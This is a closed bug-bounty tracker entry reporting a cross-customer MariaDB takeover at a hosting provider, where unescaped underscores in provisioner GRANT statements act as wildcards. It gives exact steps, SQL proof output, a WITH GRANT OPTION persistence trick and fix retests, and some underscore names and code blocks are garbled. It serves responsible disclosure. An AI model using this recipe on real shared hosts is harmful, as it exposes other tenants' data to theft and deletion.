Security vulnerabilities

  • Status Closed
  • Assigned To
    cbay
  • Private
Attached to Project: Security vulnerabilities
Opened by Bajinder - 23.09.2026
Last edited by cbay - 23.09.2026

FS#491 - Cross-Customer Database Takeover via GRANT Wildcard

NAME OF VULNERABILITY

The MySQL provisioner interpolates the customer-supplied database name into:

```
GRANT ALL PRIVILEGES ON `<name>`.*
```

without escaping it.

In MySQL and MariaDB, the database component of a GRANT is a pattern in which the underscore matches any single character. As a result, a customer who creates a database named with their mandatory account prefix followed by underscores receives full read, write, and DROP rights on every database of the same length belonging to another customer whose account name begins with theirs.

—

VULNERABILITY CATEGORY

Access Control Issues, Exposure of Sensitive Members Information, per the qualifying list on your bug bounty page.

Cross-customer data access on shared infrastructure.

—

CVSS

CVSS 3.1 score: 9.9 Critical

Vector:

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H

The issue is network reachable, trivial to perform, requires only a free self-service account, requires no user interaction, and yields confidentiality, integrity, and availability impact through SELECT, INSERT, UPDATE, and DROP access to another customer's data.

Scope is Changed because the flaw exists in the control-plane provisioner while the impacted component is the shared MariaDB instance and other tenants' data.

—

DESCRIPTION

When a customer creates a MySQL database, the control plane grants the account's database user rights on it using a statement of the form:

```
GRANT ALL PRIVILEGES ON `<database name>`.* TO `<db user>`@`%` WITH GRANT OPTION
```

In MySQL and MariaDB, the database component of a GRANT is not a literal identifier. It is a pattern, using the same wildcard semantics as LIKE.

The underscore is therefore interpreted as a single-character wildcard.

To grant privileges on a literal name containing an underscore, that underscore must be escaped as _.

Your provisioner does not escape it.

THE NAMING RULE MAKES THE PROBLEM UNAVOIDABLE

Your own naming rule requires every database name to begin with:

```
<account>_
```

The form explicitly states:

```
"must start with: vk7research_"
```

That mandatory separator is itself the first wildcard character, so every grant you issue is already a pattern rather than a literal database name.

Normally, that is harmless because the remainder of the name is literal text.

It stops being harmless when a customer deliberately supplies additional underscores.

CROSS-CUSTOMER ACCESS

A customer who creates a database named:

```
zzr1 ``` receives: ```
GRANT ALL PRIVILEGES ON `zzr1
`.* TO `zzr1`@`%` WITH GRANT OPTION
```

MariaDB evaluates this as a pattern matching any database whose name is zzr1 followed by fourteen characters.

That set includes:

```
zzr1sticky0921_vic
```

which is a database belonging to a different customer on a different account.

No grant naming the victim's database is ever created, and none appears in SHOW GRANTS.

BOUNDS ON THE REACH

The reach is bounded by two things, and I state both rather than overstate the issue.

First, the database name must still begin with the attacker's own account name, so the victim's account name must have the attacker's account name as a strict prefix.

Second, the percent sign, which is the multi-character wildcard, is rejected by the name validator. Therefore, the attacker must match the victim's database name length exactly.

This costs only a few dozen databases to cover every plausible length.

Neither bound is a meaningful obstacle because the attacker chooses their own account name during free self-service signup and can register a name that prefixes their intended target.

WHY THIS IS NOT WORKING AS INTENDED

Your own interface defines the intended model, and this behavior defeats it.

The endpoint:

```
/database/add/?type=mysql
```

offers exactly three per-database permission levels for the account's database user:

```
"all rights"
"read only"
"no rights"
```

Per-database permissioning is therefore a control you deliberately expose.

The database used in my proof was configured with "no rights", which is the strongest setting your interface offers, and it was still fully readable, writable, and droppable.

WHAT THIS REACHES THAT A CUSTOMER CANNOT ALREADY REACH

Your standing position is that a customer can already do anything over their own SSH access.

That does not apply here.

The differential is built into this report as a control.

Using the same credentials, from the same client, against the same host:

```
SELECT * FROM zzr1sticky0921_vic.secrets
```

returned:

```
ERROR 1142 SELECT command denied
```

before the wildcard database existed.

After the wildcard database existed, the same query returned the victim's row.

Nothing about network position changed.

Only the grant changed.

I also ran the shell control on the node myself, documented below.

I explicitly do NOT claim network reach to port 3306 as part of this finding.

Reachability is irrelevant and conceded.

The finding is the grant.

—

VULNERABLE INSTANCES

```
POST https://admin.alwaysdata.com/database/add/?type=mysql

Field: "name"
```

The resulting GRANT is issued on:

```
mysql-<account>.alwaysdata.net
```

Observed instance:

```
185.31.41.41
mysql21.paris1
11.4.13-MariaDB
```

Affects MySQL and MariaDB only.

PostgreSQL and RabbitMQ are not affected. See the scope note under Recommendation.

—

STEPS TO REPRODUCE

Total cost: EUR 0.

Two accounts owned by two different users with no permission grant between them.

All times UTC, 2026-09-23.

PART 1. THE WILDCARD MECHANISM, INSIDE A SINGLE ACCOUNT

This isolates the cause.

1. On account vk7research, create database vk7research_zzv1 and set the account's database user permission on it to NONE.

 Set a password on database user vk7research (ID 2046733).

2. Connect to:

 ```
 mysql-vk7research.alwaysdata.net
 ```
 as vk7research and record the baseline:
 ```
 SELECT VERSION(), @@hostname, CURRENT_USER()
 ```
 Returns:
 ```
 ('11.4.13-MariaDB', 'mysql21', 'vk7research@%')
 ```
 SHOW DATABASES returns information_schema only, so the zzv1 database is NOT visible.
 SHOW GRANTS returns:
 ```
 GRANT USAGE ON *.*
 ```
 Therefore, there is no database grant at all.

3. Create ONE more database named:

 ```
 vk7research_____
 ```
 This is the account prefix plus five underscores.
 It is 16 characters long, the same length as vk7research_zzv1.
 Set its permission to FULL.

4. Reconnect with the SAME credentials and repeat the SAME queries.

 SHOW DATABASES returns:
 ```
 information_schema
 vk7research_____
 vk7research_zzv1
 ```
 SHOW GRANTS returns:
 ```
 GRANT USAGE ON *.*
 GRANT ALL PRIVILEGES ON `vk7research_____`.* TO `vk7research`@`%` WITH GRANT OPTION
 ```
 There is still NO grant mentioning vk7research_zzv1.
 Nevertheless, it is now visible and writable.

PART 2. THE SAME FLAW ACROSS TWO CUSTOMERS

This demonstrates the actual impact.

5. VICTIM

 As user 489840 ([vk7research+l6@alwaysdata.net](mailto:vk7research+l6@alwaysdata.net)) on account zzr1sticky0921 (ID 501073), create:
 ```
 zzr1sticky0921_vic
 ```
 The database is 18 characters long.
 Plant a canary row and confirm that it is present as the owner.

6. ATTACKER

 As a DIFFERENT user (489835), register a free account named:
 ```
 zzr1
 ```
 This is a strict prefix of the victim's account name.
 Self-service signup costs EUR 0 and requires no approval.
 Set a password on its database user.

7. BASELINE AS THE ATTACKER

 Before doing anything else, establish the control:
 ```
 SELECT CURRENT_USER()
 ```
 returns:
 ```
 ('zzr1@%',)
 SHOW DATABASES
 ```
 returns:
 ```
 information_schema
 ```
 Therefore, the victim's database is not visible.
 ```
 SHOW GRANTS
 ```
 returns:
 ```
 GRANT USAGE ON *.*
 ```
 Attempting:
 ```
 SELECT * FROM zzr1sticky0921_vic.secrets
 ```
 returns:
 ```
 ERROR 1142 SELECT command denied to user 'zzr1'@'...' for table
 `zzr1sticky0921_vic`.`secrets`
 ```

8. As the attacker, create ONE database named:

 ```
 zzr1______________
 ```
 This is zzr1 plus fourteen underscores.
 It is 18 characters long, matching the victim's database name length.
 Set its permission to FULL.

9. Reconnect as the attacker with the SAME credentials and repeat the SAME queries.

 The victim's data is returned.
 The full transcript is included in the Proof of Concept below.

10. WRITE CONFIRMED FROM THE VICTIM'S SIDE

  Reconnect as the victim's own database user:
  ```
  zzr1sticky0921
  ```
  SELECT returns BOTH rows, including the row inserted by the attacker.
  The write therefore landed in the victim's database. It is not an artifact of the attacker's session.

PART 3. THE TWO IMPACT CLAIMS

These were demonstrated rather than inferred, from 08:05Z to 08:10Z, using my own accounts.

11. DROP

  With database vk7research_zzq3 created at permission NONE and one wildcard sibling created with FULL permission, using only the wildcard grant, CREATE TABLE, INSERT, and DROP TABLE all succeed on a database the grant does not name.
  Destruction is real, not an inference from the words ALL PRIVILEGES.

12. PERSISTENCE VIA WITH GRANT OPTION

  The attacker issues an explicit grant naming the other database and then deletes their own wildcard database.
  The explicit grant REMAINS.
  Access is retained.
  The attacker CANNOT revoke it again.
  It cleared only when the database itself was dropped.
  In a real attack, this means the victim would have to destroy their own data or the provider would have to clean mysql.db directly.

—

PROOF OF CONCEPT

All output below is verbatim.

ATTACKER BASELINE, BEFORE THE WILDCARD DATABASE EXISTS, 07:14Z

```
SELECT CURRENT_USER()

  ('zzr1@%',)

SHOW DATABASES

  (('information_schema',),)

SHOW GRANTS

  GRANT USAGE ON *.* TO `zzr1`@`%` IDENTIFIED BY PASSWORD '*0023...'

SELECT * FROM zzr1sticky0921_vic.secrets

  ERROR 1142 SELECT command denied to user 'zzr1'@'117.255.15.131'
  for table `zzr1sticky0921_vic`.`secrets`

```

ATTACKER CREATES ONE DATABASE NAMED zzr1, THEN RECONNECTS, 07:16Z ```
SHOW GRANTS
GRANT USAGE ON *.* TO `zzr1`@`%` … GRANT ALL PRIVILEGES ON `zzr1
`.* TO `zzr1`@`%` WITH GRANT OPTION

SHOW DATABASES

  (('information_schema',), ('zzr1______________',), ('zzr1sticky0921_vic',))

SELECT * FROM zzr1sticky0921_vic.secrets

  ((1, 'OPERATOR-CANARY-9f2a7c-CROSSCUSTOMER'),)

SHOW TABLES IN zzr1sticky0921_vic

  (('secrets',),)

INSERT INTO zzr1sticky0921_vic.secrets VALUES (2,'ATTACKER-WROTE-THIS')

  OK

```

VICTIM READS BACK THE ATTACKER'S WRITE WITH ITS OWN CREDENTIALS, 07:20Z

```
SELECT * FROM zzr1sticky0921_vic.secrets

  ((1, 'OPERATOR-CANARY-9f2a7c-CROSSCUSTOMER'),
   (2, 'ATTACKER-WROTE-THIS'))

```

DROP THROUGH THE WILDCARD GRANT ALONE, 08:07Z

```
SHOW GRANTS

  GRANT USAGE ON *.* ...
  GRANT ALL PRIVILEGES ON `vk7research_____`.* ...
  (no grant names vk7research_zzq3)

CREATE TABLE vk7research_zzq3.t1 (i INT)

  OK

INSERT INTO vk7research_zzq3.t1 VALUES (1)

  OK

DROP TABLE vk7research_zzq3.t1

  OK

SHOW TABLES IN vk7research_zzq3

  empty

```

PERSISTENCE VIA WITH GRANT OPTION, 08:08Z TO 08:10Z

```
GRANT ALL PRIVILEGES ON `vk7research_zzq3`.* TO `vk7research`@`%`

  OK

(delete the WILDCARD database through the panel)

SHOW GRANTS

  GRANT USAGE ON *.* ...
  GRANT ALL PRIVILEGES ON `vk7research_zzq3`.* TO `vk7research`@`%`

SHOW DATABASES

  (('information_schema',), ('vk7research_zzq3',))

CREATE TABLE vk7research_zzq3.t2 (i INT)

  OK

DROP TABLE vk7research_zzq3.t2

  OK

REVOKE ALL PRIVILEGES ON `vk7research_zzq3`.* FROM `vk7research`@`%`

  ERROR 1044 Access denied for user 'vk7research'@'%'
  to database 'vk7research_zzq3'

```

SHELL CONTROL ON THE SHARED NODE, RUN BY ME, 08:12Z

```
id

  uid=548819(vk7research) gid=502763(vk7research)

hostname

  ssh2

ls -ld /home/zzr1sticky0921

  drwxrwx--T 5 root zzr1sticky0921

ls /home/zzr1sticky0921

  Permission denied

ls -d /var/lib/mysql

  No such file or directory, the datadir is not on this node

mysql -h mysql-vk7research… -e 'SHOW DATABASES'
with no credentials

  ERROR 1045 Access denied for user 'vk7research'@'2a00:b6e0:1:50:1::1'

ls -la ~/.my.cnf

  No such file or directory, no credential is planted

```

The shell therefore cannot reach another account's data through the filesystem or database without credentials.

NAME VALIDATOR CONTROLS

These were run so I would not overstate the reach.

```
vk7research%

  rejected, "Enter a valid value", "must start with: vk7research_"

vk7research_%

  rejected, same

vk7research\_x

  rejected, same

vk7research ACCEPTED
``` Only the underscore is usable, which is what bounds the attack to a length match. — IMPACT Any person can register a free Alwaysdata account, choose a name that is a prefix of a target customer's account name, create a handful of databases whose names are that prefix followed by underscores of each plausible length, and thereby obtain SELECT, INSERT, UPDATE, DELETE, and DROP access to that customer's MySQL databases. That means the following: FULL DISCLOSURE OF ANOTHER CUSTOMER'S APPLICATION DATA An attacker can read user tables, password hashes, session tables, personal data, orders, messages, and anything else stored by the victim's application. SILENT MODIFICATION An attacker can insert an administrator row into a victim's CMS user table and take over the victim's application, or alter financial or business records. DESTRUCTION I demonstrated this rather than inferring it from the words ALL PRIVILEGES. Through a wildcard grant alone, CREATE TABLE, INSERT, and DROP TABLE all succeeded on a database that the grant does not name. PERSISTENCE I demonstrated this end to end. The grant carries WITH GRANT OPTION, so the attacker can issue themselves an EXPLICIT grant naming the victim's database. That grant survives deletion of the attacker's own wildcard database. Access is retained afterwards, and the attacker cannot revoke it again. It is also invisible to the control plane, which continues to show the target database with its normal user count. SILENT FROM THE VICTIM'S SIDE It is silent on the victim's side as far as I could observe. Nothing in the panel represents the attacker's access. Throughout the test, the target database continued to display its normal user count, and the attacker's self-minted explicit grant appeared nowhere in the interface. I did not have a way to inspect the victim's own SHOW GRANTS for a grant issued to a DIFFERENT user, so I limit the claim to what I observed. ACCOUNT PREFIX RELATIONSHIPS I make no claim about how many existing accounts already stand in a prefix relationship to one another. Establishing that would have required harvesting your customer list, which I did not do. It is worth checking internally, but the finding does not rest on it. The attacker manufactures the relationship, and I demonstrated exactly that by registering zzr1 specifically because zzr1sticky0921 already existed. — RECOMMENDATION 1. ESCAPE WILDCARD CHARACTERS WHEN BUILDING THE GRANT In the database component of a GRANT, the underscore must be written _ and the percent sign must be written % to be treated literally. This is a one-line fix in the statement builder and is the actual defect. Apply the same treatment anywhere else a customer-controlled identifier is interpolated into a GRANT or REVOKE. 2. REJECT LIKE METACHARACTERS AS A SECOND LAYER Reject the underscore and any other LIKE metacharacter in the customer-supplied portion of the database name. The mandatory <account>_ separator can be added by the server rather than typed by the customer, so the customer-supplied remainder never needs to contain an underscore. 3. AUDIT EXISTING GRANTS This is the urgent part. Any wildcard grant already issued is live right now. Enumerate mysql.db for rows whose Db column contains an unescaped underscore that resolves to more than one existing schema, and identify any grant whose pattern matches a database owned by a different account. 4. AUDIT GRANTS CREATED THROUGH WITH GRANT OPTION Because the grants carry WITH GRANT OPTION, also look for explicit grants that a customer may already have minted for themselves on another customer's database. Those grants will survive the fix above because they name the victim's database literally. Removing WITH GRANT OPTION from the provisioner's statement is also worth doing because customers do not need it. — SCOPE NOTE PostgreSQL and RabbitMQ are NOT affected. PostgreSQL privileges are recorded per object OID rather than by pattern, and I confirmed that a foreign database is refused with: ```
permission denied for database
``` with 0 of 1709 databases having a PUBLIC CONNECT ACL. RabbitMQ vhost permissions are exact-match, and a foreign vhost is refused. The panel's own object authorization is also correct. Foreign database IDs return 404, byte-identical to a nonexistent ID. The defect is specifically the MySQL GRANT statement builder. — DISCLOSURE AND CLEANUP Every object created for this report has been deleted, and I verified the result at the database engine rather than merely in the panel. Both vk7research and zzr1sticky0921 now return only: ```
information_schema
``` for SHOW DATABASES and only: ```
GRANT USAGE ON *.*
``` for SHOW GRANTS. No residual wildcard grant remains. Deleted: ```
vk7research_zzv1
vk7research
_
vk7research_zzq3
zzr1sticky0921_vic
zzr1
```

and one name-validator probe database.

The account zzr1 (ID 501523) was also deleted.

The canary table was destroyed with its database.

The single row inserted into the victim database was deleted immediately after the read-back in Step 10, and that database was then dropped entirely.

No third-party customer's data was ever read, written, or deleted at any point.

Both the attacker and the victim were accounts I own.

Passwords were set on two of my own database users during testing. I am NOT printing them in this report because these tasks are published and the credentials could accept connections from the internet.

They are in the private annex sent alongside this report and can be rotated or disregarded.

ADDITIONAL DISCLOSURE

A parallel test briefly renamed account 500763 from vk7research to webmaster and back, approximately 06:52Z to 07:03Z, overlapping the original Part 1 window.

Part 2, the cross-customer proof, was unaffected. It ran from 07:10Z to 07:20Z on two entirely different accounts after that rename had been reverted.

I nevertheless re-ran Part 1 from scratch at 07:50Z on a clean account state, and it reproduced identically.

That rename also left:

```
webmaster.alwaysdata.net
```

resolving to:

```
185.31.41.11
```

on multiple public resolvers while no account holds the name webmaster.

I could not remove that record.

I believe that record is mine.

TEST WINDOW

2026-09-23 06:40Z to 08:15Z UTC

Closed by  cbay
23.09.2026 11:51
Reason for closing:  Fixed
Admin
cbay commented on 23.09.2026 09:03

Hello,

Thanks for the report. Can you confirm that it's now fixed?

Kind regards,
Cyril

Hello Cyril,

Short answer: no, it is not fixed. I retested this morning and the entire chain still reproduces, including the cross-customer access. Details are below so you can see exactly what I checked and rule out a staging or deployment gap on your side.

Retest performed on 2026-09-23 from 10:47Z to 11:05Z UTC against mysql21 (11.4.13-MariaDB), using freshly created objects rather than anything left over from the original report.

My egress IP for this session was 117.253.60.178, which differs from the 117.255.15.131 used in the original report, in case you are correlating logs.

1. THE GRANT IS STILL UNESCAPED

This is the core of the issue.

I created a database named:

```
vk7research_
```

The grant issued by the provisioner is byte-for-byte the same statement reported originally:

```
GRANT ALL PRIVILEGES ON `vk7research_`.* TO `vk7research`@`%` WITH GRANT OPTION
```

The underscores are still literal underscores rather than `\_`, so MariaDB continues to interpret the database name as a pattern.

`WITH GRANT OPTION` is also still present.

2. THE SAME-ACCOUNT TEST STILL PASSES

I created a second database with permission set to NONE, which is the strongest restriction offered by your interface.

Before creating the wildcard database:

```
SHOW DATABASES

  information_schema only

SHOW GRANTS

  GRANT USAGE ON *.* only

```

After creating the wildcard database:

```
SHOW DATABASES

  information_schema
  vk7research_____
  vk7research_zzr4

CREATE TABLE vk7research_zzr4.rt (i INT)

  OK

INSERT INTO vk7research_zzr4.rt VALUES (1)

  OK

SELECT * FROM vk7research_zzr4.rt

  ((1,),)

```

`SHOW GRANTS` still contains no grant explicitly naming `vk7research_zzr4`.

3. THE CROSS-CUSTOMER CHAIN STILL WORKS END TO END

I rebuilt the entire chain from scratch with a new canary rather than relying on the original evidence.

The victim is account `zzr1sticky0921`, owned by a different user, with a database containing one canary row.

The attacker is a newly registered free account named `zzr1`, which is a strict prefix of the victim's account name. It is owned by a different user and has no permission grant or relationship with the victim account.

BASELINE as the attacker, before creating anything:

```
SELECT CURRENT_USER()

  ('zzr1@%',)

SHOW DATABASES

  information_schema only

SHOW GRANTS

  GRANT USAGE ON *.*

SELECT * FROM zzr1sticky0921_vic.secrets

  ERROR 1142 SELECT command denied

```

I then created ONE database named:

```
zzr1 ``` Using the SAME attacker credentials: ```
SHOW GRANTS
GRANT ALL PRIVILEGES ON `zzr1
`.* TO `zzr1`@`%` WITH GRANT OPTION

SHOW DATABASES

  information_schema
  zzr1______________
  zzr1sticky0921_vic

SELECT * FROM zzr1sticky0921_vic.secrets

  ((1, 'RETESTRABLE'),)

```

The denial before and the successful read afterward differ only by the existence of the attacker-controlled database whose name creates the wildcard relationship.

4. THE NAME VALIDATOR IS ALSO UNCHANGED

Both `vk7research_` and `zzr1` were accepted without complaint. Therefore, the second-layer mitigation suggested in the original report, rejecting LIKE metacharacters in the customer-supplied portion of the database name, has not been applied either. 5. THE DATABASE USER PASSWORD WE DISCLOSED HAS NOT BEEN ROTATED The credential for database user 2046733 that I listed in the private annex still authenticates. This is not a vulnerability by itself. I am mentioning it because I previously requested that the credential be rotated. If a fix has been written but not yet deployed to the instance I tested, I am happy to retest whenever you are ready. If the fix is already deployed to this instance, then the change has not reached the statement builder responsible for issuing the GRANT. WHAT I WOULD EXPECT TO SEE AFTER THE FIX For verification on your side, I would expect the generated grant to escape the underscores: ```
GRANT ALL PRIVILEGES ON `vk7research\_\_\_\_\_`.* TO … ``` The permission-NONE sibling database should also remain inaccessible and invisible after the wildcard database is created. TWO ADDITIONAL POINTS FROM THE ORIGINAL REPORT Escaping the GRANT builder alone does not close wildcard grants that were already issued. Any wildcard grant issued before the fix remains active as a pattern in `mysql.db`. Escaping the builder only changes grants issued after the fix. Those existing grants therefore need to be identified and removed. The second issue is `WITH GRANT OPTION`. A customer who used the wildcard grant to create an explicit grant naming another customer's database would retain that access after the builder is fixed because the explicit grant names the target database literally. I demonstrated this persistence behavior in the original report. CLEANUP Cleanup for this retest is complete and verified at the database engine. The objects created during this retest were deleted: ```
vk7research_zzr4
vk7research
_
zzr1sticky0921_vic
zzr1
```

The attacker account `zzr1` (ID 501578) was also deleted.

Both relevant accounts now return only:

```
information_schema
```

for `SHOW DATABASES`, and only:

```
GRANT USAGE ON *.*
```

for `SHOW GRANTS`.

No wildcard grant remains from this retest.

The canary row was destroyed when its database was deleted.

No third-party customer's data was read, written, or deleted at any point during this retest.

Best regards,
Bajinder

Admin
cbay commented on 23.09.2026 11:17

My sincere apologies, the fix had been pushed but not applied into production. Is it fixed now?

Hello Cyril,

No apology needed, that explains exactly what we saw.

Yes, confirmed fixed. I retested between 11:22Z and 11:35Z UTC on 2026-09-23, and the original vulnerability no longer reproduces.

There is one regression I found while verifying the fix that you will want to look at, so please read Section 3 before closing the issue.

1. THE GRANT IS NOW ESCAPED, AND THE ATTACK IS DEAD

Creating a database named:

```
vk7research_
```

now produces:

```
GRANT ALL PRIVILEGES ON `vk7research\_\_\_\_\_`.* TO `vk7research`@`%` WITH GRANT OPTION
```

The sibling database that was previously swallowed by the pattern is no longer visible through `SHOW DATABASES` and is correctly denied:

```
SELECT / CREATE against vk7research_zzr5

  ERROR 1142 command denied

```

I rebuilt the full cross-customer chain from the original report with a new canary rather than relying on the previous evidence.

The attacker is a freshly registered free account named `zzr1`, which is a strict prefix of the victim account `zzr1sticky0921`. The accounts are owned by different users and have no permission grant between them.

```
Baseline, attacker:

  SHOW DATABASES
      information_schema only
  SELECT * FROM zzr1sticky0921_vic.secrets
      ERROR 1142

After creating zzr1: SHOW GRANTS
GRANT ALL PRIVILEGES ON `zzr1\_\_\_\_\_\_\_\_\_\_\_\_\_\_`.* … SHOW DATABASES
information_schema, zzr1

      Victim database NOT listed
  SELECT * FROM zzr1sticky0921_vic.secrets
      ERROR 1142 denied
  SHOW TABLES IN zzr1sticky0921_vic
      ERROR 1044 denied

Victim, using its own credentials:

  Still reads its own row normally
  Data untouched

```

2. THE OTHER PATHS THAT ISSUE A GRANT ARE ALSO FIXED

This is where an incomplete fix can hide, so I checked the other grant-producing paths rather than assuming they were covered.

```
Creating a database

  Escaped

Toggling an existing database's permission FULL/NONE

  Escaped

Creating a NEW database user with permissions

  Escaped

The percent sign in a database name

  Still rejected

```

The relevant grant construction paths therefore appear to be applying the escaping consistently.

3. ONE REGRESSION INTRODUCED BY THIS CHANGE

Please look at this before closing the issue.

Deleting a database through the panel no longer appears to drop the schema or revoke the associated grant.

The panel reports success and the database disappears from the panel listing, but the database remains present on the server and remains fully usable.

I reproduced this using an ordinary database name, not a wildcard name.

The database was:

```
vk7research_plain9
```

It contains a single underscore, which is the mandatory account-name separator.

Creation:

```
Create vk7research_plain9 in the panel
```

The resulting grant was:

```
`vk7research\_plain9`
```

Deletion:

```
Delete it through the panel
HTTP 302
Database disappears from the panel listing
```

Server-side checks:

```
t+60s

  SHOW DATABASES still lists vk7research_plain9

t+120s

  SHOW DATABASES still lists vk7research_plain9

t+180s

  SHOW DATABASES still lists vk7research_plain9

```

The database remained fully usable:

```
CREATE TABLE vk7research_plain9.keep (i INT)

  OK

INSERT INTO vk7research_plain9.keep VALUES (42)

SELECT * FROM vk7research_plain9.keep

  42

```

For comparison, earlier the same morning, before this fix was applied, panel deletions took effect on the server within approximately twelve seconds. I verified the clean state several times.

This behavior therefore appears to have been introduced by the change.

I waited three minutes before reporting it rather than treating a short asynchronous delay as a failure.

My guess, and it is only a guess because I cannot see the code, is that the grant is now stored with escaped identifiers while the deprovisioning path still constructs its DROP and REVOKE statements from the unescaped database name.

If that is the case, the cleanup recommended in the original report for wildcard grants issued before the fix may also silently fail if it uses the same path.

I would recommend checking that path before running the cleanup.

As I see it, the consequences are:

```
Customer data survives a deletion that the customer believes succeeded.
Disk and quota are not released.
Orphaned rows can accumulate in mysql.db.
```

I am not claiming this as a new cross-customer security vulnerability. It does not cross a customer boundary based on what I observed, but the data-retention and resource-cleanup behavior may be relevant independently.

4. TWO ITEMS FROM THE ORIGINAL REPORT ARE STILL OPEN

Neither is closed by the escaping change.

Recommendation 3: audit `mysql.db` for wildcard grants issued before the fix.

I cannot inspect other customers' grants, so I cannot verify this from my side.

The reason this remains important is that grants issued before the fix are stored as patterns. Correcting the builder only affects grants issued after the change.

Recommendation 4: `WITH GRANT OPTION` is still being issued.

A customer who obtained a wildcard grant before the fix could use it to create an explicit grant naming another customer's database.

That explicit grant would continue to provide access after the builder is fixed because it names the target database literally rather than through the wildcard pattern.

I demonstrated this persistence behavior in the original report.

CLEANUP

Everything created during this retest has been removed:

```
vk7research_zzr5
vk7research_
vk7research__pct
vk7research_plain9
zzr1sticky0921_vic
```

The extra database user and attacker account were also removed:

```
zzr1 (ID 501583)
```

Both accounts now show only:

```
information_schema
```

Because of the deletion regression described in Section 3, the panel deletions did not revoke the associated grants.

A grantee cannot revoke its own grant, and:

```
REVOKE
```

returns:

```
ERROR 1044
```

As a result, four orphaned grants remain. They reference databases that no longer exist and are all on accounts I control:

```
`vk7research\_\_\_\_\_`
`vk7research\_\_pct`
`vk7research\_plain9`

  to user vk7research

`zzr1sticky0921\_vic`

  to user zzr1sticky0921

```

I had to drop the schemas directly over SQL to avoid leaving the databases behind. The orphaned grant rows remain because the affected user cannot revoke its own grants.

Our egress IP for this session was:

```
117.253.60.178
```

Kind regards,
Bajinder

Admin
cbay commented on 23.09.2026 11:51

Thanks, the regression has been fixed.

You can now claim your bounty by opening a support ticket.

Loading...

Available keyboard shortcuts

Tasklist

Task Details

Task Editing